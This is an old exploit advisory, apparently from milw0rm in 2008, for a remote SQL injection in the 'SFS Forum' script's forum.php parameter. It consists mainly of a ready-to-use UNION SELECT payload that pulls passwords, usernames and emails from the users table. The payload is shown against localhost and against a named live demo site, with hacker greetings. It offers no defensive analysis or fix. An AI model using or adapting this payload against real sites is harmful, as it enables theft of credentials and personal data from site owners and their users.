25 lines
No EOL
1.4 KiB
Text
25 lines
No EOL
1.4 KiB
Text
==================================================================================
|
|
SFS Forum (forum.php id) Remote SQL Injection Vulnerability
|
|
==================================================================================
|
|
__ __ __
|
|
/ / / /_ _______/ /__ __ __
|
|
/ /_/ / / / / ___/ / _ \/ / / /
|
|
/ __ / /_/ / / / / __/ /_/ /
|
|
/_/ /_/\__,_/_/ /_/\___/\__, /
|
|
/____/
|
|
==================================================================================
|
|
----------------------------------------------------------------------------------
|
|
Website script: http://www.scripts-for-sites.info/index.php
|
|
----------------------------------------------------------------------------------
|
|
Exploit: http://localHost/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/*
|
|
----------------------------------------------------------------------------------
|
|
LiveDemo:
|
|
http://www.turnkeyzone.com/demos/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/*
|
|
----------------------------------------------------------------------------------
|
|
|
|
==================================================================================
|
|
Greetz : Boom3rang
|
|
Special Thx : Darckc0de
|
|
==================================================================================
|
|
|
|
# milw0rm.com [2008-10-26] |